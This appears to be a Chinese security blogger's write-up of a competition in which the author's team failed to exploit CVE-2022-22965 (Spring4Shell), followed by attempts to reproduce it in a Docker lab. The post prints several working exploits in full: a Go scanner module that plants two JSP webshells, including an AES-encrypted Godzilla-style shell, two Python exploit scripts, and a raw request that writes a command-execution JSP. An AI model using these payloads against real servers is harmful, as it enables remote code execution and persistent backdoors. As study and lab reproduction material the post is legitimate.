W3lkin's Universe
「你就像是一阵风,在我这里掀起了万丈波澜,却又跟着云去了远方」
November 17th, 2023
去了某场比赛当了某单位的指导老师,全程都是事故,结果也没有达到预期,弱爆了。本来计划中的发展是第一天开始,第二天15:00结束,第一天我按时赶到,然后中午撤。有位大哥来给我顶着。大哥早上都上了高铁,然后单位有事就给他叫回去了。那我肯定就是回不去了。第一天开打我们扫描器一点资产都扫不到,第二天才发下是网络开放的问题,然后给我们加时……就给了个B段的内网地址,自己搜集资产。全是水洞,没啥技术含量我就不记录了,有个我们没做出来的springboot很有意思,我之前也没打过springboot。恶心就恶心在你知道靶机是springboot,但你不知道哪个是靶机,不知道自己看到的是靶机还是业务系统。
确定靶机是这个洞,我们当时也找了个springboot,扫描器也告警了,就是这样的然后当时全部是内网,我得把poc打包到txt里然后给运维,运维上堡垒机把东西传给我们。我在网上找了几个poc,还找了个利用工具,反正都没打通。我在burp里手动发包,都没效果,shell写不进去,就很奇怪。我在github上看了扫描器源码里的poc(https://Github.com/SummerSec),跟我复制到txt里的一样。
package _022 import ( req2 "github.com/SummerSec/SpringExploit/cmd/commons/req" "github.com/SummerSec/SpringExploit/cmd/commons/utils" "github.com/fatih/structs" "github.com/imroc/req/v3" log "github.com/sirupsen/logrus" "net/url" "time" ) type CVE202222965 struct{} const ( body = "class.module.classLoader.resources.context.parent.pipeline.first.pattern=" context = "%25%7Bprefix%7Di%20java.io.InputStream%20in%20%3D%20%25%7Bc%7Di.getRuntime().exec(request.getParameter(%22cmd%22)).getInputStream()%3B%20int%20a%20%3D%20-1%3B%20byte%5B%5D%20b%20%3D%20new%20byte%5B2048%5D%3B%20while((a%3Din.read(b))!%3D-1)%7B%20out.println(new%20String(b))%3B%20%7D%20%25%7Bsuffix%7Di" body1 = "&class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp&class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT&class.module.classLoader.resources.context.parent.pipeline.first.prefix=" //body1 = "&class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp&class.module.classLoader.resources.context.parent.pipeline.first.directory=G:\\source\\spring-framework-rce\\target\\spring_framework_rce-0.0.1-SNAPSHOT\\&class.module.classLoader.resources.context.parent.pipeline.first.prefix=" // 添加 shell 文件名 body2 = "&class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=" //behinder = "%25%7Bprefix%7Di%20%40page%20import%3D%22java.util.*%2Cjavax.crypto.*%2Cjavax.crypto.spec.*%22%25%7Bsuffix%7Di%20%25%7Bprefix%7Di%20!class%20U%20extends%20ClassLoader%7BU(ClassLoader%20c)%7Bsuper(c)%3B%7Dpublic%20Class%20g(byte%20%5B%5Db)%7Breturn%20super.defineClass(b%2C0%2Cb.length)%3B%7D%7D%25%7Bsuffix%7Di%25%7Bprefix%7Di%20if%20(request.getMethod().equals(%22POST%22))%7BString%20k%3D%22e45e329feb5d925b%22%3Bsession.putValue(%22u%22%2Ck)%3BCipher%20c%3DCipher.getInstance(%22AES%22)%3Bc.init(2%2Cnew%20SecretKeySpec(k.getBytes()%2C%22AES%22))%3Bnew%20U(this.getClass().getClassLoader()).g(c.doFinal(new%20sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext)%3B%7D%25%7Bsuffix%7Di" // 哥斯拉 pass key beichen = "%25%7Bprefix%7Di!%20String%20xc%3D%223c6e0b8a9c15224a%22%3B%20class%20X%20extends%20ClassLoader%7Bpublic%20X(ClassLoader%20z)%7Bsuper(z)%3B%7Dpublic%20Class%20Q(byte%5B%5D%20cb)%7Breturn%20super.defineClass(cb%2C%200%2C%20cb.length)%3B%7D%20%7Dpublic%20byte%5B%5D%20x(byte%5B%5D%20s%2Cboolean%20m)%7B%20try%7Bjavax.crypto.Cipher%20c%3Djavax.crypto.Cipher.getInstance(%22AES%22)%3Bc.init(m%3F1%3A2%2Cnew%20javax.crypto.spec.SecretKeySpec(xc.getBytes()%2C%22AES%22))%3Breturn%20c.doFinal(s)%3B%20%7Dcatch%20(Exception%20e)%7Breturn%20null%3B%20%7D%7D%25%7Bsuffix%7Di%25%7Bprefix%7Ditry%7Bbyte%5B%5D%20data%3Dnew%20byte%5BInteger.parseInt(request.getHeader(%22Content-Length%22))%5D%3Bjava.io.InputStream%20inputStream%3D%20request.getInputStream()%3Bint%20_num%3D0%3Bwhile%20((_num%2B%3DinputStream.read(data%2C_num%2Cdata.length))%3Cdata.length)%3Bdata%3Dx(data%2C%20false)%3Bif%20(session.getAttribute(%22payload%22)%3D%3Dnull)%7Bsession.setAttribute(%22payload%22%2Cnew%20X(this.getClass().getClassLoader()).Q(data))%3B%7Delse%7Brequest.setAttribute(%22parameters%22%2C%20data)%3BObject%20f%3D((Class)session.getAttribute(%22payload%22)).newInstance()%3Bjava.io.ByteArrayOutputStream%20arrOut%3Dnew%20java.io.ByteArrayOutputStream()%3Bf.equals(arrOut)%3Bf.equals(pageContext)%3Bf.toString()%3Bresponse.getOutputStream().write(x(arrOut.toByteArray()%2C%20true))%3B%7D%20%7Dcatch%20(Exception%20e)%7B%7D%25%7Bsuffix%7Di" file_date_data = "class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=_" pattern_data = "class.module.classLoader.resources.context.parent.pipeline.first.pattern=" ) func (p CVE202222965) SendPoc(target string, hashmap map[string]interface{}) { shellname := utils.GetCode(6) time.Sleep(time.Second * 1) shellname1 := utils.GetCode(8) log.Debugf("shellname: %s", shellname) log.Debugf("shellname1: %s", shellname1) payload1 := body + context + body1 + shellname + body2 rebeyond := body + beichen + body1 + shellname1 + body2 //TODO implement me log.Debugf("[+] Running CVE202222965 poc") reqinfo := req2.NewReqInfo() reqmap := structs.Map(reqinfo) get_headers := map[string]string{ "suffix": "%>", "c": "Runtime", "prefix": "<%", "User-Agent": utils.GetUA(), } post_get_headers := map[string]string{ "User-Agent": utils.GetUA(), "Content-Type": "application/x-www-form-urlencoded", } reqmap["url"] = target // 默认配置 reqmap["timeout"] = hashmap["Timeout"].(int) reqmap["retry"] = hashmap["Retry"].(int) reqmap["proxy"] = hashmap["Proxy"].(string) reqmap["mode"] = hashmap["Mode"].(int) reqmap["h1"] = hashmap["H1"].(bool) reqmap["redirect"] = hashmap["Redirect"].(bool) f := 0 for f < 2 { time.Sleep(time.Second * 1) // 设置 payload reqmap["method"] = "POST" reqmap["body"] = file_date_data reqmap["headers"] = post_get_headers utils.Send(reqmap) if f == 0 { // 第二个请求 //reqmap["body"] = payload1 reqmap["body"] = rebeyond reqmap["headers"] = post_get_headers } else { reqmap["body"] = payload1 reqmap["headers"] = post_get_headers } utils.Send(reqmap) // Changes take some time to populate on tomcat time.Sleep(time.Second * 3) if f == 1 { r, _ := url.Parse(target) log.Info("[+] CVE202222965 poc success") cmdshell := r.Scheme + "://" + r.Host + "/" + shellname + ".jsp" beichenshell := r.Scheme + "://" + r.Host + "/" + shellname1 + ".jsp" reqmap["url"] = cmdshell reqmap["method"] = "GET" reqmap["body"] = "" reqmap["headers"] = post_get_headers resp1 := utils.Send(reqmap) reqmap["url"] = beichenshell resp2 := utils.Send(reqmap) if resp1 != nil && resp2 != nil { if p.CheckExp(resp1, cmdshell, hashmap) && p.CheckExp(resp2, beichenshell, hashmap) { log.Info("[+] CVE202222965 poc success") res := target + " 可能存在CVE202222965没有进行验证 手动验证: " + r.Scheme + "://" + r.Host + "/" + shellname + ".jsp" + "?cmd=whoami or " + r.Scheme + "://" + r.Host + "/" + shellname1 + ".jsp 哥斯拉 pass key " log.Info(res) p.SaveResult(res, hashmap["Out"].(string)) } } } // 第三个请求 reqmap["method"] = "GET" reqmap["body"] = "" reqmap["headers"] = get_headers utils.Send(reqmap) time.Sleep(time.Second * 1) reqmap["body"] = pattern_data reqmap["method"] = "POST" reqmap["headers"] = post_get_headers utils.Send(reqmap) f++ } } func (p CVE202222965) SaveResult(target string, file string) { err := utils.SaveToFile(target, file) if err != nil { log.Debugf("[-] Save result failed") log.Debugf(err.Error()) return } } func (p CVE202222965) CheckExp(resp *req.Response, target string, hashmap map[string]interface{}) bool { if resp.IsSuccess() { return true } return false }
当时txt里存的poc
import requests headers={ "suffix": "%>//", "c1": "Runtime", "c2": "<%" } payload1='/?class.module.classLoader.resources.context.parent.pipeline.first.pattern=%{c2}i if("fuck".equals(request.getParameter("pwd"))){ java.io.InputStream in = %{c1}i.getRuntime().exec(request.getParameter("cmd")).getInputStream(); int a = -1; byte[] b = new byte[2048]; while((a=in.read(b))!=-1){ out.println(new String(b)); } } %{suffix}i&class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp&class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT&class.module.classLoader.resources.context.parent.pipeline.first.prefix=fuck&class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=' ip="http://192.168.1.136:8080" payload2='/fuck.jsp?pwd=fuck&cmd=id' try: U1=requests.get(url=ip+payload1,headers=headers,verify=False,timeout=3) U2=requests.get(url=ip+payload2,verify=False,timeout=3) if U2.status_code == 200: print(f"The VULN CVE-2022-22965 exists, payload is :{payload2.replace('/','')}") except Exception as e: print(e) GET /?class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25%7Bc2%7Di%20if(%22fuck%22.equals(request.getParameter(%22pwd%22)))%7B%20java.io.InputStream%20in%20=%20%25%7Bc1%7Di.getRuntime().exec(request.getParameter(%22cmd%22)).getInputStream();%20int%20a%20=%20-1;%20byte%5B%5D%20b%20=%20new%20byte%5B2048%5D;%20while((a=in.read(b))!=-1)%7B%20out.println(new%20String(b));%20%7D%20%7D%20%25%7Bsuffix%7Di&class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp&class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT&class.module.classLoader.resources.context.parent.pipeline.first.prefix=fuck&class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat= HTTP/1.1 suffix: %>// c1: Runtime c2: <% #coding:utf-8 import requests import argparse from urllib.parse import urljoin def Exploit(url): headers = {"suffix":"%>//", "c1":"Runtime", "c2":"<%", "DNT":"1", "Content-Type":"application/x-www-form-urlencoded" } data = "class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25%7Bc2%7Di%20if(%22j%22.equals(request.getParameter(%22pwd%22)))%7B%20java.io.InputStream%20in%20%3D%20%25%7Bc1%7Di.getRuntime().exec(request.getParameter(%22cmd%22)).getInputStream()%3B%20int%20a%20%3D%20-1%3B%20byte%5B%5D%20b%20%3D%20new%20byte%5B2048%5D%3B%20while((a%3Din.read(b))!%3D-1)%7B%20out.println(new%20String(b))%3B%20%7D%20%7D%20%25%7Bsuffix%7Di&class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp&class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT&class.module.classLoader.resources.context.parent.pipeline.first.prefix=tomcatwar&class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=" try: go = requests.post(url,headers=headers, data=data, timeout=15, allow_redirects=False, verify=False) shellurl = urljoin(url, 'tomcatwar.jsp') shellgo = requests.get(shellurl, timeout=15, allow_redirects=False, verify=False) if shellgo.status_code == 200: print(f"The vulnerability exists, the shell address is :{shellurl}?pwd=j&cmd=whoami") except Exception as e: print(e) pass def main(): parser = argparse.ArgumentParser(description='Spring-Core Rce.') parser.add_argument('--file', help='url file', required=False) parser.add_argument('--url', help='target url', required=False) args = parser.parse_args() if args.url: Exploit(args.url) if args.file: with open (args.file) as f: for i in f.readlines(): i = i.strip() Exploit(i) if __name__ == '__main__': main()
反正都打不通,最后抓了扫描器的包,发现扫描器对这个cve的包返回结果都是404,然后我就下定义,这个是误报。因为我手动也没打通,抓的数据包都是一堆返回404的。
结束后发现靶机的springboot就是用CVE-20222-2965打的,我懵了,然后准备回来看看到底是什么情况。别人用的是曾哥的guiscan打的,老实说我没用过这个工具,不会用,当然摸索一下百度一下会用是没问题的,关键就是我手动抓包了。最主要的是不确定他是不是靶机,我以为是正常业务系统呢。
起环境
docker pull vulhub/spring-webmvc:5.3.17 docker run -d -p 8081:8080 dceea93a0868
springexploit扫了一下发现报了cve。抓包看下poc发现结果都是404,这就很奇怪。然后nice 百度主站rce~确定了,这工具不靠谱。
用曾哥的工具啊?没货?我vulhub拉的环境啊!!!还有poc,打打看666,之前换poc可以打,写文章的时候都不行了
background
去了某场比赛当了某单位的指导老师,全程都是事故,结果也没有达到预期,弱爆了。本来计划中的发展是第一天开始,第二天15:00结束,第一天我按时赶到,然后中午撤。有位大哥来给我顶着。大哥早上都上了高铁,然后单位有事就给他叫回去了。那我肯定就是回不去了。第一天开打我们扫描器一点资产都扫不到,第二天才发下是网络开放的问题,然后给我们加时……就给了个B段的内网地址,自己搜集资产。全是水洞,没啥技术含量我就不记录了,有个我们没做出来的springboot很有意思,我之前也没打过springboot。恶心就恶心在你知道靶机是springboot,但你不知道哪个是靶机,不知道自己看到的是靶机还是业务系统。
CVE-20222-2965
确定靶机是这个洞,我们当时也找了个springboot,扫描器也告警了,就是这样的


然后当时全部是内网,我得把poc打包到txt里然后给运维,运维上堡垒机把东西传给我们。我在网上找了几个poc,还找了个利用工具,反正都没打通。我在burp里手动发包,都没效果,shell写不进去,就很奇怪。
我在github上看了扫描器源码里的poc(https://Github.com/SummerSec),跟我复制到txt里的一样。
当时txt里存的poc
反正都打不通,最后抓了扫描器的包,发现扫描器对这个cve的包返回结果都是404,然后我就下定义,这个是误报。因为我手动也没打通,抓的数据包都是一堆返回404的。
结束后发现靶机的springboot就是用CVE-20222-2965打的,我懵了,然后准备回来看看到底是什么情况。别人用的是曾哥的guiscan打的,老实说我没用过这个工具,不会用,当然摸索一下百度一下会用是没问题的,关键就是我手动抓包了。最主要的是不确定他是不是靶机,我以为是正常业务系统呢。
漏洞复现
起环境
springexploit扫了一下发现报了cve。抓包看下poc发现结果都是404,这就很奇怪。然后

nice 百度主站rce~
确定了,这工具不靠谱。
用曾哥的工具



啊?没货?我vulhub拉的环境啊!!!
还有poc,打打看
666,之前换poc可以打,写文章的时候都不行了